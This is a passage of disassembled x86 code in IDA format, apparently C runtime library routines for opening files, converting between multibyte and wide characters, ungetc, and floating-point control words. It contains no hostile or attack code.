sub_42C3D0+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_42C54C cmp [ebp+var_48], 400h jz short loc_42C569 cmp [ebp+var_48], 200h jg short loc_42C541 cmp [ebp+var_48], 200h jz short loc_42C584 cmp [ebp+var_48], 0 jz short loc_42C569 cmp [ebp+var_48], 100h jz short loc_42C572 jmp short loc_42C596 ; --------------------------------------------------------------------------- loc_42C541: ; CODE XREF: sub_42C3D0+155j cmp [ebp+var_48], 300h jz short loc_42C58D jmp short loc_42C596 ; --------------------------------------------------------------------------- loc_42C54C: ; CODE XREF: sub_42C3D0+143j cmp [ebp+var_48], 500h jz short loc_42C57B cmp [ebp+var_48], 600h jz short loc_42C584 cmp [ebp+var_48], 700h jz short loc_42C57B jmp short loc_42C596 ; --------------------------------------------------------------------------- loc_42C569: ; CODE XREF: sub_42C3D0+14Cj ; sub_42C3D0+164j mov [ebp+var_18], 3 jmp short loc_42C5B4 ; --------------------------------------------------------------------------- loc_42C572: ; CODE XREF: sub_42C3D0+16Dj mov [ebp+var_18], 4 jmp short loc_42C5B4 ; --------------------------------------------------------------------------- loc_42C57B: ; CODE XREF: sub_42C3D0+183j ; sub_42C3D0+195j mov [ebp+var_18], 1 jmp short loc_42C5B4 ; --------------------------------------------------------------------------- loc_42C584: ; CODE XREF: sub_42C3D0+15Ej ; sub_42C3D0+18Cj mov [ebp+var_18], 5 jmp short loc_42C5B4 ; --------------------------------------------------------------------------- loc_42C58D: ; CODE XREF: sub_42C3D0+178j mov [ebp+var_18], 2 jmp short loc_42C5B4 ; --------------------------------------------------------------------------- loc_42C596: ; CODE XREF: sub_42C3D0+16Fj ; sub_42C3D0+17Aj ... call sub_4248A0 mov dword ptr [eax], 16h call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C5B4: ; CODE XREF: sub_42C3D0+1A0j ; sub_42C3D0+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_42C605 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, dword_4EF878 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_42C605 mov [ebp+var_28], 1 loc_42C605: ; CODE XREF: sub_42C3D0+1F6j ; sub_42C3D0+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_42C627 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_42C627: ; CODE XREF: sub_42C3D0+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_42C63C mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_42C63C: ; CODE XREF: sub_42C3D0+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_42C653 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_42C669 ; --------------------------------------------------------------------------- loc_42C653: ; CODE XREF: sub_42C3D0+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_42C669 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_42C669: ; CODE XREF: sub_42C3D0+281j ; sub_42C3D0+28Bj call sub_42B740 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42C695 call sub_4248A0 mov dword ptr [eax], 18h call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C695: ; CODE XREF: sub_42C3D0+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call dword_4F13A8 ; CreateFileA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42C6E1 call dword_4F1348 ; RtlGetLastWin32Error push eax call sub_424800 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42BCE0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C6E1: ; CODE XREF: sub_42C3D0+2ECj mov ecx, [ebp+var_4] push ecx call dword_4F12FC ; GetFileType mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42C721 mov edx, [ebp+var_4] push edx call dword_4F1324 ; CloseHandle call dword_4F1348 ; RtlGetLastWin32Error push eax call sub_424800 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42BCE0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C721: ; CODE XREF: sub_42C3D0+322j cmp [ebp+var_C], 2 jnz short loc_42C732 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_42C741 ; --------------------------------------------------------------------------- loc_42C732: ; CODE XREF: sub_42C3D0+355j cmp [ebp+var_C], 3 jnz short loc_42C741 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_42C741: ; CODE XREF: sub_42C3D0+360j ; sub_42C3D0+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_42B930 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_42C87F movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_42C87F mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_42C87F push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_429380 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42C7F1 call sub_4248B0 cmp dword ptr [eax], 83h jz short loc_42C7EC mov edx, [ebp+var_14] push edx call sub_41F570 add esp, 4 mov eax, [ebp+var_14] push eax call sub_42BCE0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C7EC: ; CODE XREF: sub_42C3D0+3FAj jmp loc_42C87F ; --------------------------------------------------------------------------- loc_42C7F1: ; CODE XREF: sub_42C3D0+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_422190 add esp, 0Ch test eax, eax jnz short loc_42C849 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_42C849 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_430DB0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_42C849 mov eax, [ebp+var_14] push eax call sub_41F570 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_42BCE0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C849: ; CODE XREF: sub_42C3D0+439j ; sub_42C3D0+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_429380 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42C87F mov eax, [ebp+var_14] push eax call sub_41F570 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_42BCE0 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42C8DA ; --------------------------------------------------------------------------- loc_42C87F: ; CODE XREF: sub_42C3D0+3B0j ; sub_42C3D0+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_42C8CB mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_42C8CB mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, dword_4EFC40[edx*4] mov [edx+eax+4], cl loc_42C8CB: ; CODE XREF: sub_42C3D0+4B8j ; sub_42C3D0+4C2j mov eax, [ebp+var_14] push eax call sub_42BCE0 add esp, 4 mov eax, [ebp+var_14] loc_42C8DA: ; CODE XREF: sub_42C3D0+C2j ; sub_42C3D0+12Bj ... mov esp, ebp pop ebp retn sub_42C3D0 endp ; --------------------------------------------------------------------------- off_42C8DE dd offset loc_42C4BE ; DATA XREF: sub_42C3D0+E7r dd offset loc_42C4C7 dd offset loc_42C4D0 dd offset loc_42C4D9 dd offset loc_42C4E2 byte_42C8F2 db 0 ; DATA XREF: sub_42C3D0+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C930 proc near ; CODE XREF: sub_422AF0+127p ; sub_424AA0+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jb short loc_42C942 xor eax, eax jmp short loc_42C960 ; --------------------------------------------------------------------------- loc_42C942: ; CODE XREF: sub_42C930+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_42C960: ; CODE XREF: sub_42C930+10j pop ebp retn sub_42C930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C970 proc near ; CODE XREF: sub_422D70+3CAp ; sub_422D70+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_42C9A8 push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42C9AF ; --------------------------------------------------------------------------- loc_42C9A8: ; CODE XREF: sub_42C970+18j mov [ebp+var_4], 0 loc_42C9AF: ; CODE XREF: sub_42C970+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42C9F0 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42C9D5 push 13h call sub_41FBE0 add esp, 4 jmp short loc_42C9E0 ; --------------------------------------------------------------------------- loc_42C9D5: ; CODE XREF: sub_42C970+57j push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_42C9E0: ; CODE XREF: sub_42C970+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42C970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C9F0 proc near ; CODE XREF: sub_42C970+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_42CA03 xor eax, eax jmp loc_42CA8C ; --------------------------------------------------------------------------- loc_42CA03: ; CODE XREF: sub_42C9F0+Aj cmp dword_4EF974, 0 jnz short loc_42CA3A mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_42CA2B call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42CA8C ; --------------------------------------------------------------------------- loc_42CA2B: ; CODE XREF: sub_42C9F0+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_42CA8C ; --------------------------------------------------------------------------- loc_42CA3A: ; CODE XREF: sub_42C9F0+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, dword_4516A8 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, dword_4EF984 push ecx call dword_4F141C ; WideCharToMultiByte mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42CA79 cmp [ebp+var_8], 0 jz short loc_42CA89 loc_42CA79: ; CODE XREF: sub_42C9F0+81j call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42CA8C ; --------------------------------------------------------------------------- loc_42CA89: ; CODE XREF: sub_42C9F0+87j mov eax, [ebp+var_4] loc_42CA8C: ; CODE XREF: sub_42C9F0+Ej ; sub_42C9F0+39j ... mov esp, ebp pop ebp retn sub_42C9F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA90 proc near ; CODE XREF: sub_424CA0+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_42CAC8 push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42CACF ; --------------------------------------------------------------------------- loc_42CAC8: ; CODE XREF: sub_42CA90+18j mov [ebp+var_4], 0 loc_42CACF: ; CODE XREF: sub_42CA90+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42CB10 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42CAF8 push 13h call sub_41FBE0 add esp, 4 jmp short loc_42CB03 ; --------------------------------------------------------------------------- loc_42CAF8: ; CODE XREF: sub_42CA90+5Aj push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_42CB03: ; CODE XREF: sub_42CA90+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42CA90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB10 proc near ; CODE XREF: sub_42CA90+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_42CB16: ; CODE XREF: sub_42CB10+3Aj cmp dword_4516A8, 1 jz short loc_42CB46 cmp dword_4516A8, 2 jz short loc_42CB46 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_438638 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42CB46 int 3 ; Trap to Debugger loc_42CB46: ; CODE XREF: sub_42CB10+Dj ; sub_42CB10+16j ... xor eax, eax test eax, eax jnz short loc_42CB16 cmp [ebp+arg_4], 0 jz short loc_42CB58 cmp [ebp+arg_8], 0 jnz short loc_42CB5F loc_42CB58: ; CODE XREF: sub_42CB10+40j xor eax, eax jmp loc_42CC69 ; --------------------------------------------------------------------------- loc_42CB5F: ; CODE XREF: sub_42CB10+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42CB7E cmp [ebp+arg_0], 0 jz short loc_42CB77 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_42CB77: ; CODE XREF: sub_42CB10+5Dj xor eax, eax jmp loc_42CC69 ; --------------------------------------------------------------------------- loc_42CB7E: ; CODE XREF: sub_42CB10+57j cmp dword_4EF974, 0 jnz short loc_42CBA4 cmp [ebp+arg_0], 0 jz short loc_42CB9A mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_42CB9A: ; CODE XREF: sub_42CB10+7Bj mov eax, 1 jmp loc_42CC69 ; --------------------------------------------------------------------------- loc_42CBA4: ; CODE XREF: sub_42CB10+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42CC2D cmp dword_4516A8, 1 jle short loc_42CC00 mov edx, [ebp+arg_8] cmp edx, dword_4516A8 jl short loc_42CC00 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, dword_4516A8 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, dword_4EF984 push ecx call dword_4F1420 ; MultiByteToWideChar test eax, eax jnz short loc_42CC26 loc_42CC00: ; CODE XREF: sub_42CB10+B7j ; sub_42CB10+C2j mov edx, [ebp+arg_8] cmp edx, dword_4516A8 jb short loc_42CC16 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_42CC26 loc_42CC16: ; CODE XREF: sub_42CB10+F9j call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42CC69 ; --------------------------------------------------------------------------- loc_42CC26: ; CODE XREF: sub_42CB10+EEj ; sub_42CB10+104j mov eax, dword_4516A8 jmp short loc_42CC69 ; --------------------------------------------------------------------------- loc_42CC2D: ; CODE XREF: sub_42CB10+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, dword_4EF984 push edx call dword_4F1420 ; MultiByteToWideChar test eax, eax jnz short loc_42CC64 call sub_4248A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42CC69 ; --------------------------------------------------------------------------- loc_42CC64: ; CODE XREF: sub_42CB10+142j mov eax, 1 loc_42CC69: ; CODE XREF: sub_42CB10+4Aj ; sub_42CB10+69j ... pop edi pop esi pop ebx pop ebp retn sub_42CB10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42CC70 proc near ; CODE XREF: sub_424CA0+9D7p ; sub_424CA0+A65p ... cmp cl, 40h jnb short loc_42CC8A cmp cl, 20h jnb short loc_42CC80 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC70+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42CC8A: ; CODE XREF: sub_42CC70+3j xor eax, eax xor edx, edx retn sub_42CC70 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42CC97: ; CODE XREF: .nsp0:0042CCBFj cmp dword ptr [ebp+0Ch], 0 jnz short loc_42CCBB push offset dword_437504 push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42CCBB int 3 ; Trap to Debugger loc_42CCBB: ; CODE XREF: .nsp0:0042CC9Bj ; .nsp0:0042CCB8j xor eax, eax test eax, eax jnz short loc_42CC97 mov ecx, [ebp+0Ch] push ecx call sub_41ECE0 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42CD00 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_41ED50 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CD00 proc near ; CODE XREF: sub_426140+11p ; .nsp0:0042CCD5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42CD07: ; CODE XREF: sub_42CD00+2Fj cmp [ebp+arg_4], 0 jnz short loc_42CD2B push offset dword_437514 push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42CD2B int 3 ; Trap to Debugger loc_42CD2B: ; CODE XREF: sub_42CD00+Bj ; sub_42CD00+28j xor eax, eax test eax, eax jnz short loc_42CD07 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_42CD67 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_42CD6F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_42CD67 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_42CD6F loc_42CD67: ; CODE XREF: sub_42CD00+3Bj ; sub_42CD00+58j or eax, 0FFFFFFFFh jmp loc_42CE37 ; --------------------------------------------------------------------------- loc_42CD6F: ; CODE XREF: sub_42CD00+48j ; sub_42CD00+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_42CD84 mov eax, [ebp+var_4] push eax call sub_42C2C0 add esp, 4 loc_42CD84: ; CODE XREF: sub_42CD00+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_42CDAF mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_42CDA2 or eax, 0FFFFFFFFh jmp loc_42CE37 ; --------------------------------------------------------------------------- loc_42CDA2: ; CODE XREF: sub_42CD00+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_42CDAF: ; CODE XREF: sub_42CD00+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_42CDED mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_42CDEB mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_42CE37 ; --------------------------------------------------------------------------- loc_42CDEB: ; CODE XREF: sub_42CD00+D7j jmp short loc_42CE04 ; --------------------------------------------------------------------------- loc_42CDED: ; CODE XREF: sub_42CD00+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_42CE04: ; CODE XREF: sub_42CD00:loc_42CDEBj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_42CE37: ; CODE XREF: sub_42CD00+6Aj ; sub_42CD00+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42CD00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CE40 proc near ; CODE XREF: sub_426C70+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42CE40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_42D240 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_42D240 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CE90 proc near ; CODE XREF: sub_42CEE0+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_42CF60 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_42D0E0 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42CE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CEE0 proc near ; CODE XREF: sub_4271C0+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_42CE90 add esp, 8 pop ebp retn sub_42CEE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_42B670 mov eax, [eax] mov [ebp-4], eax fninit call sub_4271C0 cmp dword ptr [ebp-4], 0 jz short loc_42CF51 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_42CF51 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_42CF51: ; CODE XREF: .nsp0:0042CF1Ej ; .nsp0:0042CF2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CF60 proc near ; CODE XREF: sub_42CE90+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42CF85 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42CF85: ; CODE XREF: sub_42CF60+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42CF9D mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42CF9D: ; CODE XREF: sub_42CF60+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42CFB6 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42CFB6: ; CODE XREF: sub_42CF60+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42CFCE mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42CFCE: ; CODE XREF: sub_42CF60+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42CFE6 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42CFE6: ; CODE XREF: sub_42CF60+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42D002 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42D002: ; CODE XREF: sub_42CF60+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_42D035 cmp [ebp+var_8], 800h jz short loc_42D048 cmp [ebp+var_8], 0 jz short loc_42D040 cmp [ebp+var_8], 400h jz short loc_42D053 jmp short loc_42D067 ; --------------------------------------------------------------------------- loc_42D035: ; CODE XREF: sub_42CF60+B9j cmp [ebp+var_8], 0C00h jz short loc_42D05E jmp short loc_42D067 ; --------------------------------------------------------------------------- loc_42D040: ; CODE XREF: sub_42CF60+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_42D067 ; --------------------------------------------------------------------------- loc_42D048: ; CODE XREF: sub_42CF60+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_42D067 ; --------------------------------------------------------------------------- loc_42D053: ; CODE XREF: sub_42CF60+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_42D067 ; --------------------------------------------------------------------------- loc_42D05E: ; CODE XREF: sub_42CF60+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_42D067: ; CODE XREF: sub_42CF60+D3j ; sub_42CF60+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42D0A9 cmp [ebp+var_C], 200h jz short loc_42D09B cmp [ebp+var_C], 300h jz short loc_42D093 jmp short loc_42D0B5 ; --------------------------------------------------------------------------- loc_42D093: ; CODE XREF: sub_42CF60+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_42D0B5 ; --------------------------------------------------------------------------- loc_42D09B: ; CODE XREF: sub_42CF60+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_42D0B5 ; 